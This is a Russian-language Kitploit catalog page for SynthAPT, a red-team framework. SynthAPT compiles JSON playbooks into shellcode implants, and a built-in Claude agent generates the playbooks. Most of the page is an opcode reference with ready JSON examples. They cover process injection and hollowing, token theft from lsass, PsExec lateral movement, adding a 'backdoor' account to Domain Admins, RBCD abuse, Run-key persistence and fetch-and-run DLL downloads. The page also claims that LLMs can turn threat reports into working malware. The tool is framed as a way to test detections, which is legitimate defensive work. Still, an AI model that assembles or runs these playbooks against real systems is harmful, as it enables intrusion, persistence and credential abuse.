Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
SynthAPT — Среда моделирования противника на основе плейбуков, которая компилирует пути атак, определённые в JSON, в позиционно-независимые полезные нагрузки шеллкода для проверки продвинутых средств обнаружения и AI-агентов расследования. | Kitploit
Инструменты/GitHubGitHub/acedef/synthapt
Фреймворки для пентестаПовышение привилегийФреймворки для эксплойтовГенерация полезной нагрузкиЛатеральное перемещениеШелл-кодПост-эксплуатацияКомандование и УправлениеRed TeamingБезопасность ИИСостязательная Атака
231474 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
acedef/synthapt

SynthAPT

Среда моделирования противника на основе плейбуков, которая компилирует пути атак, определённые в JSON, в позиционно-независимые полезные нагрузки шеллкода для проверки продвинутых средств обнаружения и AI-агентов расследования.

Репозиторий

SynthAPT

Обзор

SynthAPT — это фреймворк для симуляции противника, основанный на плейбуках, предназначенный для воспроизведения сложных путей атак. Он разработан для проверки расширенных детекций и агентов расследования на основе ИИ. Основная идея заключается в том, что поведение вредоносного ПО может быть выражено в JSON и скомпилировано в функциональное вредоносное ПО, что позволяет быстро разрабатывать реалистичные сценарии с использованием LLM.

Основной имплант представляет собой шеллкод-нагрузку, управляемую интерпретатором плейбуков. Плейбук предопределяет полный путь атаки, и имплант следует ему, перемещаясь по среде через внедрение процессов, боковое перемещение и т.д. Каждый имплант запускается как независимый поток с собственной системой команд, поэтому многоэтапные атаки (например, начальный доступ → повышение привилегий → боковое перемещение → эксфильтрация) выражаются в виде графа взаимодействующих имплантов, все из которых определены заранее в плейбуке. Это имеет три основных преимущества:

  1. Нагрузки могут имитировать реальное вредоносное ПО без C2-инфраструктуры — полный путь атаки встроен в нагрузку, а взаимодействия с C2 могут быть смоделированы.
  2. Нагрузки воспроизводимы — они выполняют весь путь атаки идентично каждый раз, что делает их подходящими для регрессионного тестирования детекций.
  3. LLM могут переводить отчеты и блоги по угрозам напрямую в рабочие нагрузки, без необходимости в экспертизе по атакам или создании вредоносного ПО с нуля.

Возможности

  • Позиционно-независимый шеллкод — имплант полностью PIC и может быть встроен в любой загрузчик или инжектор.
  • Богатая библиотека опкодов — выполнение, манипуляция токенами, внедрение в процессы, замена процесса, боковое перемещение, перечисление и изменение AD, реестр, службы и многое другое.
  • Самовоспроизводящиеся нагрузки — имплант может сбросить себя как EXE или DLL с другим набором задач, что позволяет многоэтапную доставку без C2.
  • Гибкие форматы вывода — скомпилируйте плейбук в сырой шеллкод, PE EXE или PE DLL.
  • Python в памяти — интерпретатор Python может быть рефлексивно загружен во время выполнения, предоставляя все возможности импланта в виде модуля Python для гибкого скриптинга.
  • Симуляция NPC — опкоды 'explorer' позволяют автоматически распаковывать и запускать нагрузки таким образом, что автоматически воспроизводятся артефакты взаимодействия с пользователем (при внедрении в Explorer.exe).
  • TUI-редактор с LLM-агентом — терминальный редактор плейбуков со встроенным агентом Claude, который может генерировать и редактировать плейбуки из естественного языка или данных об угрозах.
  • Загрузчик BOF — функциональность может быть расширена с помощью стандартных Beacon Object Files.

Сборка из исходников

Если вы не хотите использовать релиз, вы можете скомпилировать его следующим образом:

  1. cargo
  2. rustup
  3. binutils-mingw-w64-x86-64```bash cargo install cargo-make rustup toolchain install nightly rustup target add x86_64-pc-windows-gnu --toolchain nightly
    sudo apt install gcc-mingw-w64-x86-64
root@kitploit:~
Сборка с помощью cargo make:```bash
cargo make build
./target/release/synthapt

Это скомпилирует shellcode и редактор.

Use

Запуск SynthAPT без команд поместит вас в редактор. Вы можете предоставить Claude API key и просматривать изменения по мере ввода запросов.```bash SynthAPT playbook editor and compiler

Usage: synthapt [COMMAND]

Commands: edit Open the TUI editor with a playbook loaded from PATH validate Validate a playbook JSON file and print any errors export-skill Export the agent system prompt as a Claude Code slash command skill compile Compile a playbook to a payload

root@kitploit:~
Если вы хотите использовать другую LLM или подписку, вы можете запустить `synthapt export-skill` и использовать это с любой средой разработки.

Он должен выдать JSON-плейбук. Скомпилируйте его в полезную нагрузку с помощью команды компиляции:```bash
Compile a playbook to a payload

Usage: synthapt compile [OPTIONS] <PLAYBOOK> [OUTPUT]

Arguments:
  <PLAYBOOK>  Path to the playbook JSON file
  [OUTPUT]    Output file path (default: payload.bin / payload.exe / payload.dll)

Options:
  -e, --exe          Compile to PE EXE
  -d, --dll          Compile to PE DLL
  -b, --base <BASE>  Override the embedded base shellcode with a custom binary
  -h, --help         Print help

Справочник опкодов

Константы могут быть определены как строки, hex-объекты или base64-объекты:```json "constants": [ "c:\windows\temp\file.txt", { "hex": "deadbeef" }, { "base64": "SGVsbG8=" } ]

root@kitploit:~
---

### end (0x00)
Конец набора задач. Автоматически добавляется компилятором — вам не нужно добавлять его.

---

### store_result (0x01)
Сохранить результат последней операции в переменную.

| Field | Type | |
|-------|------|-|
| var | u16 | **обязательно** |```json
{ "op": "store_result", "var": 0 }

get_shellcode (0x02)

Возвращает текущие байты shellcode с опционально вставленными идентификатором задачи и/или магическим значением.

FieldType
tasku8необязательно
magicu32 hex string or numberнеобязательно
root@kitploit:~
---

### sleep (0x03)
Сон на указанное количество миллисекунд.

| Field | Type | |
|-------|------|-|
| ms | u32 | **обязательно** |```json
{ "op": "sleep", "ms": 5000 }

run_command (0x04)

Выполнить команду через cmd.exe.

ПолеТип
commandstringобязательно
{ "op": "run_command", "command": "whoami /all" }
root@kitploit:~
---

### get_cwd (0x05)
Получить текущую рабочую директорию. Без аргументов.```json
{ "op": "get_cwd" }

read_file (0x06)

Читает файл и возвращает его содержимое.

ПолеТип
pathstringобязательно
{ "op": "read_file", "path": "c:\users\public\data.txt" }
{ "op": "read_file", "path": "%0" }
root@kitploit:~
---

### write_file (0x07)
Записать байты в файл.

| Поле | Тип | |
|-------|------|-|
| path | string | **обязательно** |
| content | bytes | *необязательно* (пустой файл, если опущено) |```json
{ "op": "write_file", "path": "c:\\temp\\out.txt", "content": "hello" }
{ "op": "write_file", "path": "%0", "content": "$1" }

check_error (0x08)

Вывести код состояния переменной (0 = успех, не 0 = ошибка).

ПолеТип
varu16обязательно
{ "op": "check_error", "var": 0 }
root@kitploit:~
---

### условный (0x09)
Переход к разным индексам задач в зависимости от состояния переменной.

| Поле | Тип | |
|------|-----|-|
| mode | `"data"` или `"error"` | **обязательно** |
| var1 | u16 | **обязательно** |
| var2 | u16 | *необязательно* (сравнение двух переменных вместо одиночной проверки) |
| true | u16 | **обязательно** (индекс задачи, если условие истинно) |
| false | u16 | **обязательно** (индекс задачи, если условие ложно) |

`true_target` и `false_target` принимаются как псевдонимы для `true` и `false`.

Режимы с одной переменной:
- `"data"` — истинно, если var1 имеет непустые данные
- `"error"` — истинно, если статус var1 равен 0 (успех)

Режимы с двумя переменными (при наличии var2):
- `"data"` — истинно, если данные var1 равны данным var2
- `"error"` — истинно, если код ошибки var1 равен коду ошибки var2```json
{ "op": "conditional", "mode": "error", "var1": 0, "true": 3, "false": 5 }
{ "op": "conditional", "mode": "data", "var1": 0, "var2": 1, "true": 3, "false": 5 }

set_var (0x0A)

Установить переменную в литеральное значение.

FieldType
varu16обязательно
databytesопционально (пусто, если опущено)

Литеральные строки и шестнадцатеричные/base64 значения хранятся с 5-байтовым префиксом результата, чтобы при чтении они выглядели как результаты нормальных операций. Ссылки на переменные ($n) и константы (%n) передаются как есть.```json { "op": "set_var", "var": 0, "data": "hello world" } { "op": "set_var", "var": 1, "data": { "hex": "deadbeef" } }

root@kitploit:~
---

### print_var (0x0B)
Вывести содержимое переменной в stdout (отладка). Опустите `var`, чтобы вывести результат последней операции.

| Поле | Тип | |
|-------|------|-|
| var | u16 | *опционально* (выводит последний результат, если отсутствует) |```json
{ "op": "print_var", "var": 0 }
{ "op": "print_var" }

goto (0x0C)

Безусловный переход к индексу задачи в пределах текущего набора задач.

FieldType
targetu16обязательно
{ "op": "goto", "target": 2 }
root@kitploit:~
---

### migrate (0x0D)
Внедрить шеллкод в процесс, соответствующий строке поиска или PID.

| Поле | Тип | |
|-------|------|-|
| task_id | u8 | **обязательно** |
| search | string or number | *необязательно* (пусто = без поиска; число = целевой PID) |
| magic | u32 hex string or number | *необязательно* |```json
{ "op": "migrate", "task_id": 1, "search": "explorer.exe" }
{ "op": "migrate", "task_id": 1, "search": 1234 }
{ "op": "migrate", "task_id": 1, "search": "notepad", "magic": "0x18181818" }

list_procs (0x0E)

Список запущенных процессов. Возвращает строки, разделённые табуляцией: pid\timage\tcmdline\n. Аргументов нет.```json { "op": "list_procs" }

root@kitploit:~
---

### get_const (0x0F)
Загружает константу в последний результат. Принимает `index` или `const_idx` в качестве имени поля.

| Поле | Тип | |
|-------|------|-|
| index | u16 | **обязательно** |```json
{ "op": "get_const", "index": 0 }

wmi_exec (0x10)

Выполнить команду через WMI, опционально на удаленном хосте.

root@kitploit:~
### http_send (0x11)
Отправить HTTP/S запрос.

| Поле | Тип | |
|-------|------|-|
| host | string | **обязательно** |
| method | string | *необязательно* (по умолчанию: `"GET"`) |
| port | u16 | *необязательно* (по умолчанию: `80`) |
| path | string | *необязательно* (по умолчанию: `"/"`) |
| secure | bool | *необязательно* (по умолчанию: `false`) |
| body | bytes | *необязательно* (пусто, если опущено) |```json
{ "op": "http_send", "host": "example.com" }
{ "op": "http_send", "method": "POST", "host": "10.0.0.1", "port": 443, "path": "/data", "secure": true, "body": "$0" }

sacrificial (0x12)

Создать приостановленный процесс, внедрить шеллкод и возобновить его.

root@kitploit:~
### redirect_stdout (0x13)
Перенаправляет stdout в файл или именованный канал. Последующий вывод `run_command` направляется туда.

| Поле | Тип | |
|-------|------|-|
| path | string | **обязательно** |```json
{ "op": "redirect_stdout", "path": "c:\\temp\\log.txt" }
{ "op": "redirect_stdout", "path": "\\\\.\\pipe\\output" }

shellcode_server (0x14)

Запускает TCP-сервер, который обслуживает shellcode подключающихся клиентов. Каждый клиент получает копию с увеличивающимся магическим значением.

FieldType
portu16обязательно
magic_baseu32 hex string or number
root@kitploit:~
---

### resolve_hostname (0x15)
Разрешить имя хоста в строку IPv4-адреса.

| Поле | Тип | |
|-------|------|-|
| hostname | строка | **обязательно** |```json
{ "op": "resolve_hostname", "hostname": "dc01.corp.local" }

psexec (0x16)

Копировать бинарный файл на удаленный хост через SMB и выполнить его как службу (латеральное перемещение в стиле PsExec).

root@kitploit:~
---

### generate_exe (0x17)
Сгенерировать PE-исполняемый файл с текущим shellcode и байткодом внутри.

| Field | Type | |
|-------|------|-|
| task_id | u8 | **обязательно** |```json
{ "op": "generate_exe", "task_id": 1 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\\temp\\payload.exe", "content": "$0" }

run_bof (0x18)

Выполнить Beacon Object File (BOF).

root@kitploit:~
### query_ldap (0x19)
Запросить каталог LDAP.

| Поле | Тип | |
|------|-----|-|
| base | string | **обязательно** (базовый DN) |
| filter | string | **обязательно** |
| scope | u8 | *необязательно* (по умолчанию: `2` = поддерево; `0` = база, `1` = один уровень) |
| attribute | string | *необязательно* (пусто = вернуть все атрибуты) |```json
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(objectClass=user)", "attribute": "sAMAccountName" }
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(&(objectClass=computer)(operatingSystem=*Server*))", "scope": 2 }

set_ad_attr_str (0x1A)

Установить атрибут Active Directory в строковое значение.

root@kitploit:~
### set_ad_attr_bin (0x1B)
Установить атрибут Active Directory в двоичное значение. Передайте пустое значение, чтобы удалить атрибут.

| Поле | Тип | |
|-------|------|-|
| dn | string | **обязательно** |
| attr | string | **обязательно** |
| value | bytes | **обязательно** (пусто = удалить атрибут) |```json
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$0" }

portscan (0x1C)

Сканирование TCP-портов на одной или нескольких целях. Возвращает строки host\tport\n только для открытых портов.

root@kitploit:~
---

### set_user_password (0x1D)
Установить пароль локального или доменного пользователя через NetUserSetInfo.

| Field | Type | |
|-------|------|-|
| username | string | **обязательно** |
| password | string | **обязательно** |
| server | string | *опционально* (пусто = локальная машина) |```json
{ "op": "set_user_password", "username": "Administrator", "password": "NewP@ss1" }
{ "op": "set_user_password", "server": "dc01.corp.local", "username": "svc_account", "password": "NewP@ss1" }

add_user_to_localgroup (0x1E)

Добавить пользователя в локальную группу через NetLocalGroupAddMembers.

root@kitploit:~
---

### remove_user_from_localgroup (0x1F)
Удалить пользователя из локальной группы через NetLocalGroupDelMembers.

| Поле | Тип | |
|-------|------|-|
| group | string | **обязательно** |
| username | string | **обязательно** |
| server | string | *опционально* (пусто = локальная машина) |```json
{ "op": "remove_user_from_localgroup", "group": "Administrators", "username": "backdoor" }

get_user_sid (0x20)

Получить строку SID пользователя через LookupAccountName.

ПолеТип
usernamestringобязательно
serverstringнеобязательно (пусто = локальная машина)

Возвращает строку SID, например S-1-5-21-....```json { "op": "get_user_sid", "username": "Administrator" } { "op": "get_user_sid", "server": "dc01.corp.local", "username": "attacker$" }

root@kitploit:~
---

### add_user_to_group (0x21)
Добавить пользователя в группу домена с помощью NetGroupAddUser.

| Поле | Тип | |
|------|-----|-|
| group | string | **обязательно** |
| username | string | **обязательно** |
| server | string | *необязательно* (пусто = локальный DC) |```json
{ "op": "add_user_to_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" }

remove_user_from_group (0x22)

Удаляет пользователя из доменной группы через NetGroupDelUser.

root@kitploit:~
---

### create_rbcd_ace (0x23)
Построить двоичный ACE для Resource-Based Constrained Delegation. Результат подходит для прямой записи в `msDS-AllowedToActOnBehalfOfOtherIdentity`.

| Поле | Тип | |
|-------|------|-|
| sid | string | **обязательно** (строка SID, например, из `get_user_sid`) |```json
{ "op": "get_user_sid", "username": "attacker$" },
{ "op": "store_result", "var": 0 },
{ "op": "create_rbcd_ace", "sid": "$0" },
{ "op": "store_result", "var": 1 },
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$1" }

reg_create_key (0x24)

Создать ключ реестра.

ПолеТип
keystringобязательно (полный путь, например "HKLM\\SOFTWARE\\MyApp")
{ "op": "reg_create_key", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" }
root@kitploit:~
### reg_delete_key (0x25)
Удалить ключ реестра.

| Field | Type | |
|-------|------|-|
| key | string | **обязательно** |```json
{ "op": "reg_delete_key", "key": "HKLM\\SOFTWARE\\MyApp" }

reg_set_value (0x26)

Установить значение реестра.

root@kitploit:~
---

### reg_query_value (0x27)
Запрос значения реестра. Возвращает исходные байты значения.

| Field | Type | |
|-------|------|-|
| key | string | **обязательно** |
| value_name | string | **обязательно** (пустая строка для значения по умолчанию) |```json
{ "op": "reg_query_value", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "value_name": "ProductName" }

make_token (0x28)

Создает токен олицетворения через LogonUser и олицетворяет его. Тип входа по умолчанию — 9 (LOGON32_LOGON_NEW_CREDENTIALS), который использует предоставленные учетные данные для исходящих сетевых подключений, оставляя локальный токен без изменений.

root@kitploit:~
### impersonate_process (0x29)
Открыть токен процесса и выполнить его олицетворение. Полезно для повышения привилегий или кражи токенов на соседних процессах.

| Field | Type | |
|-------|------|-|
| search | string | **обязательно** (совпадает с именем образа или командной строкой) |```json
{ "op": "impersonate_process", "search": "lsass" }
{ "op": "impersonate_process", "search": "winlogon.exe" }

enable_privilege (0x2A)

Включение привилегии для токена процесса.

root@kitploit:~
---

### list_process_privs (0x2B)
Вывести имена привилегий и их статус включено/отключено для процесса. Возвращает строки вида `name\tenabled\n` или `name\tdisabled\n`.

| Field | Type | |
|-------|------|-|
| search | string | *необязательно* (пусто = текущий процесс) |```json
{ "op": "list_process_privs" }
{ "op": "list_process_privs", "search": "explorer" }

list_thread_privs (0x2C)

Перечисляет привилегии в токене текущего потока. Возвращает тот же формат, что и list_process_privs. Аргументы не требуются.```json { "op": "list_thread_privs" }

root@kitploit:~
---

### delete_file (0x2D)
Удаляет файл.

| Field | Тип | |
|-------|------|-|
| path | string | **обязательно** |```json
{ "op": "delete_file", "path": "c:\\temp\\payload.exe" }

revert_to_self (0x2E)

Возврат к исходному токену процесса, завершение любой имперсонации. Аргументов нет.```json { "op": "revert_to_self" }

root@kitploit:~
### start_service (0x2F)
Запуск службы Windows.

| Поле | Тип | |
|------|-----|-|
| service_name | string | **обязательно** |
| target | string | *опционально* (пусто = локальная машина) |```json
{ "op": "start_service", "service_name": "MySvc" }
{ "op": "start_service", "target": "192.168.1.10", "service_name": "MySvc" }

delete_service (0x30)

Удалить службу Windows.

FieldType
service_namestring
root@kitploit:~
---

### create_thread (0x31)
Создать новый поток в текущем процессе, выполняющий копию шеллкода. Если `magic` опущен, сканирует кучи процесса, чтобы найти уникальный magic, который не будет конфликтовать с существующими экземплярами.

| Field | Type | |
|-------|------|-|
| task | u8 | *опционально* (опустить или `255` = тот же набор задач, что и у текущего потока) |
| magic | u32 hex string or number | *опционально* (автоматически определяется, если опущен) |

> **Предупреждение**: пропуск `task` запускает тот же набор задач в новом потоке. Если набор задач снова вызывает `create_thread`, это приводит к бесконечному количеству потоков.```json
{ "op": "create_thread", "task": 2 }
{ "op": "create_thread", "task": 2, "magic": "0x18181818" }

generate_dll (0x32)

Генерирует DLL с внедренным текущим шеллкодом. Запускает шеллкод при DLL_PROCESS_ATTACH и экспортирует именованную функцию, которая также запускает шеллкод.

root@kitploit:~
### shell_execute (0x33)
Выполнить файл с помощью ShellExecuteEx через COM. Полученный процесс выглядит так, как будто он был запущен оболочкой.

| Поле | Тип | |
|-------|------|-|
| путь | string | **обязательно** |
| действие | string | *необязательно* (например, `"open"`, `"runas"`) |
| аргументы | string | *необязательно* |```json
{ "op": "shell_execute", "path": "C:\\Windows\\System32\\cmd.exe", "verb": "open", "args": "/c whoami" }
{ "op": "shell_execute", "path": "C:\\Users\\Public\\payload.exe", "verb": "runas", "args": "" }

shell_extract (0x34)

Извлечение ZIP-архива с помощью оболочки Windows.

ПолеТип
pathstringобязательно (путь к ZIP-файлу)

Извлекается в папку с тем же именем, что и ZIP (без расширения), в том же каталоге.```json { "op": "shell_extract", "path": "C:\Users\alice\Downloads\Invoice_2024.zip" }

root@kitploit:~
---

### shell_execute_explorer (0x35)
Выполняет файл через explorer.exe в качестве родительского процесса с использованием COM. Созданный процесс выглядит так, как будто он был запущен пользователем из Проводника.

| Поле | Тип | |
|-------|------|-|
| path | string | **обязательно** |
| verb | string | *необязательно* |
| args | string | *необязательно* |```json
{ "op": "shell_execute_explorer", "path": "C:\\Users\\alice\\Downloads\\Invoice.js", "verb": "open", "args": "" }

load_library (0x36)

Загрузить DLL в текущий процесс через LoadLibraryW.

ПолеТип
путьstringобязательно
{ "op": "load_library", "path": "C:\Users\Public\payload.dll" }
root@kitploit:~
---

### pyexec (0x37)
Загружает Python DLL из URL (кэшируется в памяти после первой загрузки), затем выполняет Python-скрипт. Предоставляет модуль `agent` с привязками ко всем опкодам агента.

| Field | Type | |
|-------|------|-|
| url | string | *необязательно* (URL для Python DLL; пусто = использовать уже загруженный Python) |
| script | string | *необязательно* (Python код для выполнения; пусто = инициализировать без запуска) |```json
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "import agent; print(agent.get_cwd())" }
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "" }
{ "op": "pyexec", "script": "import agent; agent.run_command('calc.exe')" }

hollow (0x38)

Подмена процесса (process hollowing): создание легитимного процесса в приостановленном состоянии, перезапись его точки входа шеллкодом и возобновление выполнения.

root@kitploit:~
### migrate_apc (0x39)
Создает приостановленный процесс, выделяет RWX-память, записывает shellcode, ставит APC в очередь главному потоку и возобновляет выполнение. Возвращает PID порожденного процесса.

| Field | Type | |
|-------|------|-|
| image | string | **обязательно** |
| task_id | u8 | **обязательно** |
| magic | u32 hex string or number | *необязательно* |```json
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\notepad.exe", "task_id": 1 }
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\svchost.exe", "task_id": 1, "magic": "0x18181818" }

register_service (0x3A)

Регистрирует текущий процесс как службу Windows путем вызова StartServiceCtrlDispatcher. Должен вызываться на раннем этапе, когда процесс запущен диспетчером управления службами (SCM), иначе SCM завершит его примерно через 30 секунд. Запускает взаимодействие с SCM в фоновом потоке, чтобы основной набор задач продолжал работать нормально.

ПолеТип
service_namestringобязательное (псевдоним: name)
{ "op": "register_service", "service_name": "MySvc" }
root@kitploit:~
---

### exit_process (0x3B)
Завершить текущий процесс.

| Поле | Тип | |
|-------|------|-|
| exit_code | u32 | *необязательно* (по умолчанию: `0`) |```json
{ "op": "exit_process" }
{ "op": "exit_process", "exit_code": 1 }

hollow_apc (0x3C)

Запустить процесс в приостановленном состоянии и внедрить шеллкод через APC. Аналогично migrate_apc, но с опциональной подменой PPID.

root@kitploit:~
---

### frida_hook (0x3F)
Скачать Frida gadget DLL из URL (кэшируется после первой загрузки) и установить JavaScript-хук.

| Field | Type | |
|-------|------|-|
| url | string | **обязательно** |
| script | string | **обязательно** (JavaScript с использованием API Frida) |
| name | string | *опционально* (имя хука для последующей ссылки с `frida_unhook`) |
| callback_host | string | *опционально* (хост для HTTP POST сообщений `send()`) |
| callback_port | u16 | *опционально* |
| batch_size | u32 | *опционально* (сообщений на пакет HTTP POST; по умолчанию: `50`) |
| flush_interval | u32 | *опционально* (интервал сброса в мс; по умолчанию: `5000`) |

Сообщения, отправленные через `send()` в JavaScript, либо публикуются на `callback_host:callback_port/frida`, либо выводятся в stdout, если обратный вызов не настроен.```json
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "Interceptor.attach(Module.findExportByName('kernel32.dll', 'CreateFileW'), { onEnter: function(args) { send(args[0].readUtf16String()); } });" }
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "...", "name": "my_hook", "callback_host": "10.0.0.5", "callback_port": 8080 }

frida_unhook (0x40)

Выгрузить хук Frida. Без аргументов выгружает все хуки.

root@kitploit:~
---

### kill (0x42)
Убить работающий экземпляр агента по его магическому значению.

| Field | Type | |
|-------|------|-|
| magic | u32 шестнадцатеричная строка или число | *необязательно* (опустите для убийства текущего экземпляра) |```json
{ "op": "kill" }
{ "op": "kill", "magic": "0x18181818" }

http_beacon (0x43)

Подключается к HTTP C2 серверу и опрашивает задачи байткода.

root@kitploit:~
---

### mem_read (0x44)
Чтение сырых байт по адресу памяти в текущем или удалённом процессе.

| Field | Type | |
|-------|------|-|
| address | hex string | **обязательно** (адрес в виде шестнадцатеричных символов, например `"7FFE0030"`; префикс `0x` удаляется автоматически) |
| size | u32 | **обязательно** |
| pid | u32 | *опционально* (удалённый процесс; опустить для локального чтения) |```json
{ "op": "mem_read", "address": "7FFE0030", "size": 64 }
{ "op": "mem_read", "address": "0x7FFE0000", "size": 256, "pid": 1234 }
{ "op": "mem_read", "address": "$0", "size": 128 }

dll_list (0x45)

Обходит PEB LDR InLoadOrderModuleList и возвращает загруженные модули. Возвращает сериализованные в postcard Vec<ProcessResult<ModuleInfo>>.

ПолеТип
pidu32 или "all"
root@kitploit:~
---

### mem_map (0x46)
Перечисление областей виртуальной памяти через `VirtualQuery`/`VirtualQueryEx`. Возвращает postcard-сериализованный `Vec<ProcessResult<MemRegion>>`. Пропускает FREE-области; IMAGE-области включают имя модуля и PE-секцию.

| Field | Type | |
|-------|------|-|
| pid | u32 or `\"all\"` | *опционально* (опустить = текущий процесс; `\"all\"` = каждый доступный процесс) |```json
{ "op": "mem_map" }
{ "op": "mem_map", "pid": 1234 }
{ "op": "mem_map", "pid": "all" }

malfind (0x47)

Находить закреплённые частные исполняемые области памяти — индикаторы внедрённого шеллкода или рефлективных DLL. Пропускает все нулевые страницы и отмечает области с заголовками MZ. Возвращает сериализованные в формате postcard Vec<ProcessResult<MalfindHit>>.

FieldType
pidu32 или
root@kitploit:~
---

### ldr_check (0x48)
Выполняет перекрёстную проверку областей памяти IMAGE по списку модулей PEB для поиска несвязанных или скрытых DLL — областей с заголовками MZ, отсутствующих в `InLoadOrderModuleList`. Возвращает сериализованные в формат postcard `Vec<ProcessResult<LdrCheckHit>>`.

| Поле | Тип | |
|-------|------|-|
| pid | u32 или `"all"` | *необязательно* (опустить = текущий процесс; `"all"` = каждый доступный процесс) |```json
{ "op": "ldr_check" }
{ "op": "ldr_check", "pid": 1234 }
{ "op": "ldr_check", "pid": "all" }

Detection

Как и любой фреймворк, имплант имеет характерный след в памяти и множество открытых текстовых строк, которые его выдают. Можно построить сигнатуры на основе базового файла шелл-кода: out/shellcode.bin

Attribution

Этот проект расширяет Rustic64Shell от safedev.

Библиотека Python DLL с рефлексивной загрузкой взята из farfella

Скачать инструмент
{ "op": "get_shellcode" }
{ "op": "get_shellcode", "task": 5, "magic": "0x18181818" }
ПолеТип
commandstringобязательно
hoststringопционально (пусто = локальный хост)
userstringопционально (пусто = текущий пользователь)
passstringопционально (пусто = текущие учетные данные)
{ "op": "wmi_exec", "command": "calc.exe" }
{ "op": "wmi_exec", "command": "cmd.exe /c whoami", "host": "192.168.1.10", "user": "CORP\admin", "pass": "Password1" }
FieldType
imagestringобязательно
task_idu8обязательно
pipe_namestringнеобязательно (именованный канал для захвата вывода, без префикса \\.\pipe\)
searchstringнеобязательно (имя процесса/командная строка для подмены PPID)
no_killboolнеобязательно (по умолчанию: false — процесс завершается после внедрения)
{ "op": "sacrificial", "image": "C:\Windows\System32\notepad.exe", "task_id": 1 }
{ "op": "sacrificial", "image": "C:\Windows\System32\svchost.exe", "task_id": 1, "search": "services.exe", "pipe_name": "output" }
опционально
{ "op": "shellcode_server", "port": 8080 }
{ "op": "shellcode_server", "port": 8080, "magic_base": "0x18181818" }
ПолеТип
targetстрокаобязательное (имя хоста или IP)
service_nameстрокаобязательное
display_nameстрокаобязательное
binary_pathстрокаобязательное (путь на удаленном хосте)
service_binbytesобязательное (двоичные данные для записи)
{ "op": "psexec", "target": "192.168.1.10", "service_name": "MySvc", "display_name": "My Service", "binary_path": "c:\windows\temp\svc.exe", "service_bin": "$0" }
ПолеТип
bof_databytesобязательно
entrystringопционально (по умолчанию: "go")
inputsbytesопционально (аргументы BOF, пусто, если опущено)
{ "op": "run_bof", "bof_data": "%0", "entry": "go", "inputs": "" }
{ "op": "run_bof", "bof_data": "$0" }
ПолеТип
dnstringобязательно
attrstringобязательно
valuestringобязательно
{ "op": "set_ad_attr_str", "dn": "CN=user,CN=Users,DC=corp,DC=local", "attr": "description", "value": "owned" }
ПолеТип
targetsstringобязательно (IP-адреса через запятую, CIDR, диапазоны или имена хостов; псевдоним: host)
portsstringобязательно (порты через запятую или диапазоны, например "22,80,443,8000-8100")
{ "op": "portscan", "targets": "10.0.0.0/24", "ports": "22,80,443,445,3389" }
{ "op": "portscan", "targets": "192.168.1.1-192.168.1.50,dc01.corp.local", "ports": "80,8000-8100" }
FieldType
groupstringобязательно
usernamestringобязательно
serverstringопционально (пусто = локальная машина)
{ "op": "add_user_to_localgroup", "group": "Administrators", "username": "backdoor" }
{ "op": "add_user_to_localgroup", "server": "ws01", "group": "Remote Desktop Users", "username": "CORP\attacker" }
ПолеТип
groupstringобязательно
usernamestringобязательно
serverstringнеобязательно (пусто = локальный DC)
{ "op": "remove_user_from_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" }
ПолеТип
keystringобязательно
value_namestringобязательно (пустая строка для значения по умолчанию)
valuebytesобязательно
value_typestringнеобязательно (по умолчанию: "REG_SZ"; также: REG_DWORD, REG_BINARY, REG_EXPAND_SZ, REG_MULTI_SZ, REG_QWORD)
{ "op": "reg_set_value", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run", "value_name": "Updater", "value": "C:\Windows\Temp\payload.exe" }
{ "op": "reg_set_value", "key": "HKLM\SOFTWARE\MyApp", "value_name": "Count", "value_type": "REG_DWORD", "value": { "hex": "05000000" } }
ПолеТип
usernamestringобязательно
passwordstringобязательно
domainstringнеобязательно (пусто = рабочая группа или формат UPN)
logon_typeu8необязательно (по умолчанию: 9; 2 = интерактивный, 3 = сетевой)
{ "op": "make_token", "domain": "corp", "username": "bob", "password": "Password1" }
{ "op": "make_token", "username": "[email protected]", "password": "Password1" }
{ "op": "make_token", "domain": ".", "username": "localadmin", "password": "Password1", "logon_type": 2 }
ПолеТип
privilegestringобязательно (псевдоним: priv_name)
searchstringопционально (пусто = текущий процесс)
{ "op": "enable_privilege", "privilege": "SeDebugPrivilege" }
{ "op": "enable_privilege", "search": "lsass", "privilege": "SeTcbPrivilege" }
обязательно
targetstringнеобязательно (пусто = локальная машина)
{ "op": "delete_service", "service_name": "MySvc" }
{ "op": "delete_service", "target": "192.168.1.10", "service_name": "MySvc" }
ПолеТип
task_idu8обязательно
export_namestringопционально (по умолчанию: "Run")
{ "op": "generate_dll", "task_id": 2 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\temp\payload.dll", "content": "$0" }
FieldType
imagestringобязательно
task_idu8обязательно
searchstringнеобязательно (имя процесса/командная строка для подмены PPID)
